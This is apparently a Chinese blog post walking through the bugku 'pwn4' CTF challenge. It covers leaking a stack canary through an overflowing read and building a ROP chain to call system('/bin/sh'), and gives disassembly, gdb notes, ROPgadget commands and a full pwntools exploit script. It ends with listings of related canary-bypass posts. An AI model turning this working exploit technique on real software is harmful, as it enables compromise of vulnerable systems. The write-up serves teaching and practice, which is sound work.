2021-06-15 pwn之canary绕过简单思路梳理

最新推荐文章于 2025-03-13 23:10:02 发布
最新推荐文章于 2025-03-13 23:10:02 发布
阅读量940 收藏 6
点赞数 1
分类专栏： 网络安全 文章标签： 信息安全 pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_43976137/article/details/117932697
版权
本文详细分析了一个开启Canary和NX保护的程序，通过查看程序保护和main函数的栈布局，发现了栈溢出的可能。利用read函数读入超过限制的数据，目标是泄露Canary值并构造payload进行栈溢出。通过ROP gadgets获取pop_rdi;ret地址，并找到/bin/sh的内存位置，最终构造payload执行system调用，成功实现栈溢出攻击。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

文章目录

一、原题链接

bugku-pwn4

二、简单解题思路

0x01、查看程序保护

在这里插入图片描述
开启了canary保护和NX保护

0x02、main的栈

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[48]; // [rsp+10h] [rbp-240h] BYREF
  char v5[520]; // [rsp+40h] [rbp-210h] BYREF
  unsigned __int64 v6; // [rsp+248h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  write(1, "Welcome!\n", 0x10uLL);
  write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
  read(0, buf, 0x300uLL);
  printf("Hello %s\n", buf);
  write(1, "Please leave a message(Within 0x200 Length):", 0x2CuLL);
  read(0, v5, 0x300uLL);
  printf("your message is :%s \nBye~", v5);
  return 0;
}

可以发现read可以进行栈溢出

.text:0000000000400814 ; =============== S U B R O U T I N E =======================================
.text:0000000000400814
.text:0000000000400814 ; Attributes: bp-based frame
.text:0000000000400814
.text:0000000000400814 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400814                 public main
.text:0000000000400814 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400814
.text:0000000000400814 var_250         = qword ptr -250h
.text:0000000000400814 var_244         = dword ptr -244h
.text:0000000000400814 buf             = byte ptr -240h
.text:0000000000400814 var_210         = byte ptr -210h
.text:0000000000400814 var_8           = qword ptr -8
.text:0000000000400814
.text:0000000000400814 ; __unwind {
.text:0000000000400814                 push    rbp
.text:0000000000400815                 mov     rbp, rsp
.text:0000000000400818                 sub     rsp, 250h
.text:000000000040081F                 mov     [rbp+var_244], edi
.text:0000000000400825                 mov     [rbp+var_250], rsi
.text:000000000040082C                 mov     rax, fs:28h
.text:0000000000400835                 mov     [rbp+var_8], rax
.text:0000000000400839                 xor     eax, eax
.text:000000000040083B                 mov     eax, 0
.text:0000000000400840                 call    init
.text:0000000000400845                 mov     edx, 10h        ; n
.text:000000000040084A                 mov     esi, offset aWelcome ; "Welcome!\n"
.text:000000000040084F                 mov     edi, 1          ; fd
.text:0000000000400854                 call    _write
.text:0000000000400859                 mov     edx, 29h ; ')'  ; n
.text:000000000040085E                 mov     esi, offset aPleaseLeaveYou ; "Please leave your name(Within 36 Length"...
.text:0000000000400863                 mov     edi, 1          ; fd
.text:0000000000400868                 call    _write
.text:000000000040086D                 lea     rax, [rbp+buf]
.text:0000000000400874                 mov     edx, 300h       ; nbytes
.text:0000000000400879                 mov     rsi, rax        ; buf
.text:000000000040087C                 mov     edi, 0          ; fd
.text:0000000000400881                 call    _read
.text:0000000000400886                 lea     rax, [rbp+buf]
.text:000000000040088D                 mov     rsi, rax
.text:0000000000400890                 mov     edi, offset format ; "Hello %s\n"
.text:0000000000400895                 mov     eax, 0
.text:000000000040089A                 call    _printf
.text:000000000040089F                 mov     edx, 2Ch ; ','  ; n
.text:00000000004008A4                 mov     esi, offset aPleaseLeaveAMe ; "Please leave a message(Within 0x200 Len"...
.text:00000000004008A9                 mov     edi, 1          ; fd
.text:00000000004008AE                 call    _write
.text:00000000004008B3                 lea     rax, [rbp+var_210]
.text:00000000004008BA                 mov     edx, 300h       ; nbytes
.text:00000000004008BF                 mov     rsi, rax        ; buf
.text:00000000004008C2                 mov     edi, 0          ; fd
.text:00000000004008C7                 call    _read
.text:00000000004008CC                 lea     rax, [rbp+var_210]
.text:00000000004008D3                 mov     rsi, rax
.text:00000000004008D6                 mov     edi, offset aYourMessageIsS ; "your message is :%s \nBye~"
.text:00000000004008DB                 mov     eax, 0
.text:00000000004008E0                 call    _printf
.text:00000000004008E5                 mov     eax, 0
.text:00000000004008EA                 mov     rcx, [rbp+var_8]
.text:00000000004008EE                 xor     rcx, fs:28h
.text:00000000004008F7                 jz      short locret_4008FE
.text:00000000004008F9                 call    ___stack_chk_fail
.text:00000000004008FE ; ---------------------------------------------------------------------------
.text:00000000004008FE
.text:00000000004008FE locret_4008FE:                          ; CODE XREF: main+E3↑j
.text:00000000004008FE                 leave
.text:00000000004008FF                 retn
.text:00000000004008FF ; } // starts at 400814
.text:00000000004008FF main            endp
.text:00000000004008FF
.text:0000000000400900

这里有两条关键语句

.text:000000000040082C                 mov     rax, fs:28h
.text:0000000000400835                 mov     [rbp+var_8], rax

canary存在rbp+var_8处，使用gdb调试一下
在0x40082C处打断点
在这里插入图片描述
在这里插入图片描述
可以发现会把rax的值放在rbp-8的位置

0x03、构造payload

char buf[48]; // [rsp+10h] [rbp-240h] BYREF

write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
read(0, buf, 0x300uLL);

这里使用第一个read函数来进行栈溢出，那么rbp的地址就是0x240
在这里插入图片描述
而刚才的关键语句0x400835地址中的var_8的为0x8
在这里插入图片描述

现在需要第一次回显泄露出canary的值，第二次利用canary的值来实现栈溢出
通过ROPgadget来获得pop rdi;ret和/bin/sh的地址

ROPgadget --binary pwn4_ --only "pop|rdi|ret"

这里为我们选择0x400963这条地址
在这里插入图片描述
本题的system里需要传参，所以还需要获取/bin/sh的地址

ROPgadget --binary pwn4_ --string "/bin/sh"

在这里插入图片描述
最后构建的栈为：

	低地址
				var 			= 垃圾数据
				canary 			= canary
				rbp 			= 垃圾数据
				pop_rdi_ret		= 0x400963
				/bin/sh			= 0x601068
	高地址		system_addr		= system地址（IDA pro 查看）

0x04、最终exp

from os import system
from pwn import *
import struct

p = process('./pwn4_')
context.log_level = 'debug'

p.recv(1024)
p.send((0x240 - 0x8) * b'a' + '\n'.encode())
p.recvline()

x = p.recvline().strip()

while len(x) < 8:
    x = b'\x00' + x

canary_addr = x

print(b'canary:' + canary_addr)

# 使用IDA pro 查看system函数的地址
system_addr = struct.pack('<Q',0x400660)

# ROPgadget --binary pwn4_ --only "pop|rdi|ret"
pop_rdi_ret = struct.pack('<Q',0x400963)
# ROPgadget --binary pwn4_ --string "/bin/sh"
binsh_addr = struct.pack('<Q',0x601068)

payload = b'b' * (0x210 - 0x8) + canary_addr + b'p' * 8 + pop_rdi_ret + binsh_addr + system_addr

p.send(payload)
p.recv(1024)
p.interactive()
p.close()

在这里插入图片描述
栈溢出成功

PWN基础4：Canary保护
prettyX的博客
07-07 1033
Canary保护概述 在函数调用发生时，向栈帧内压入一个额外的随机DWORD，这个随机数被称为“Canary” 如果使用IDA反汇编的话，您可能会看到IDA会将这个随机数标注为“Security Cookie”，在部分书籍的叙述中会用Security Cookie来引用这种随机数 Canary位于EBP之前，系统还将在内存区域中存放一个Canary的副本 当栈中发生溢出时，Canary将被首先淹没，之后才是EBP和返回地址 在函数返回之前，系统将执行一个额外的安全验证操作，被称作“Security
ctf-pwn:canary绕过
chennbnbnb的博客
01-19 3242
文章目录覆盖00字符读出canary原理利用条件漏洞代码编译选项EXP利用格式化字符串漏洞读出canary原理漏洞代码编译选项EXP逐字节猜解canary原理漏洞代码编译EXPSSP Leak原理 覆盖00字符读出canary 原理 canary的值设计为以0x00结尾，防止read，printf灯函数直接读出 通过栈溢出覆盖最低位的字节，从而获得canary 利用条件 存在read/pri...
pwn-canary绕过和PIE(未完待续)
m0_75234353的博客
05-30 1182
看见了fork函数，那就通过爆破得出canary对于 Canary，但是同一个进程中的不同线程的 Canary 是相同的，并且通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。 打开sub_128A函数 明显的溢出发现后门函数 开始计算溢出大小0x70-0x80=104①先逐字爆破出canary的值②直接溢出到返回地址，覆盖为后门函数的地址。但这道题开了PIE保护，而PIE是代码段，数据段
3.14学习——学会用pwntools进行调试以及学习canary保护
最新发布
2401_88422349的博客
03-13 979
再根据伪C代码v6数组储存了canary，v4数组从[rbp-50h]开始，大小32字节，要填充的buf从[rbp-30h]开始,占用了40字节，而且占用[rbp-30h]到[rbp-8h]，这非常关键，也就是说只要buf中填充超过40字节，多出来的部分就会覆盖canary导致程序崩溃。这是题目示例里的canary校验，当用户输入后会将输入后的canary与之前的canary副本进行异或，如果异或的值不是0，则执行___stack_chk_fail函数使程序崩溃。就说说我的逻辑和疑点，还请各位大佬指正。
【pwn学习】Canary的各种绕过姿势
Morphy_Amo的博客
12-24 8762
Canary各种绕过姿势
PWN入门（10）绕过程序堆栈Canary防护
Ba1_Ma0的博客
10-05 1230
简介“pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的，PWN 也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用下载这个github库，进入10文件夹。
Pwn之Canary绕过的五种方法
Rinko233的博客
11-11 2939
Canary 的意思是金丝雀🦜，英国矿井工人们每次下井都会带上一只金丝雀，如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。我们知道，通常栈溢出的利用方式是通过，从而让多出来的数据等，从而达到目的。当启用栈溢出保护后，函数开始执行的时候会先往栈底，当函数真正返回的时候会，如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉，导致栈保护检查失败而阻止 shellcode 的执行，避免漏洞利用成功。
pwn学习---借助格式化输出绕过canary保护
gclome的博客
03-29 590
0x01 原理简介 格式化字符串漏洞是因为c语言中printf的参数个数不是确定的，参数的长度也不是确定的，当printf把我们的输入当作第一个参数直接输出的时候，我们输入若干格式化字符串，会增加与格式化字符串相对应的参数，会泄露出栈中的内容 Stack canary保护机制在刚进入函数时，在栈上放置一个标志canary，然后 在函数结束时，判断该标志是否被改变，如果被改变，则表示有攻击行为发生。...
CVE-2021-27246_Pwn2Own2020
03-03
Pwn2Own 2020东京版-TPlink漏洞利用 这是在Pwn2Own 2020 Tokyo期间用于开发TPlink Archer路由器的文件。 该漏洞的编号为CVE-2021-27246。 您可以在synacktiv网站上查看博客文章以了解详细信息。
2021-鹏城实验室-pwn-babyheap.zip
09-28
在本文中，我们将深入探讨2021年鹏城实验室的"Pwn-BabyHeap"挑战，这是一道涉及二进制安全和pwn技术的竞赛题目。本题主要考察了"off-by-null"漏洞的利用，这是一个在C语言编程中常见的安全问题。我们将围绕这个主题...
从o开始的pwn学习之随意pwnpwn（1）----两种绕过canary（金丝雀）的实例
jzc020121的博客
03-24 4307
从0开始的pwn学习之随意pwnpwn（1）----绕过canary（金丝雀）的实例 做两道道简单的pwn（因为刚刚学，可能难免会有错误，望师傅们轻点骂） 众所周知，绕过canary的方法除了一个一个猜字节（不是），还有两种常见方法 （1）通过覆盖00字符读出canary （2）通过格式化字符串漏洞泄露canary 金丝雀基础知识 Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
【PWN学习】cannary绕过方式汇总
weixin_41748164的博客
12-23 1073
利用cannary解题在现在的CTF比赛中似乎已经过时了，只是为了学习了解一下。
pwn题绕过canary保护机制新手版
educat0r的博客
03-27 4212
介绍 通俗来说，canary保护是为了防止程序能够被溢出的地方不让溢出 比如一个输入函数能够输入100个字节的内容，但是它的变量只有50个字节的大小，因为这个程序是可以接受你输入超过50个字节大小的内容的。我们就可以先输入50个字节的无用数据，然后再输入一串你想跳转到的地址把后面的return函数存在的原本的地址覆盖了，，这样程序执行完这个输入函数就会跳转到你输入的那个地址去。 而canary则是...
绕过Canary与Canary的泄露
Sakura给爷pwn全场
12-24 328
Canary学习（泄露Canary）： https://blog.youkuaiyun.com/acsuccess/article/details/104115114 泄露canary： https://blog.youkuaiyun.com/qq_38204481/article/details/81076850
pwn学习-canary
WocW的博客
02-26 2392
CTF-WIKI-pwn-cannary 漏洞复现   Canary 实现原理  开启 Canary 保护的 stack 结构大概如下 // ex2.c #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; void getshell...
PWN——canary问题
ysy___ysy的博客
09-16 1391
我们知道，通常栈溢出的利用方式是通过溢出存在于栈上的局部变量，从而让多出来的数据覆盖 ebp、eip 等，从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后，函数开始执行的时候会先往栈底插入 cookie 信息，当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变)，如果不合法就停止程序运行 (栈溢出发生)。
PWN-canary学习
苗_的博客
02-10 1674
先简单介绍一下canary： Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。 canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处，先从fs/gs寄存器中获取一个值，一般存到EBP - 0x4(32位)或RBP - 0x8...
Pwn入门笔记（四）canary初识
qq_33590156的博客
11-26 1899
Leak Canary Canary1 wp 什么是canary呢，就是在程序进行输入前会生成一个随机数（每一次执行程序这个数都不一样），格式为“0x…00”，在ida中是这样的 画圈的地方就是生成了canary值赋给v4，最后一行将v4和之前的值取异或，之后return将这个值返回。 题目逻辑很简单，就是两次输入输出，很明显格式化字符串漏洞。然后还有个函数叫getshell，这就是我们要执行的system函数，思路就清晰了，先用格式化字符串漏洞打印canary的值，然后栈溢出获取shell。 那么在栈上他
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值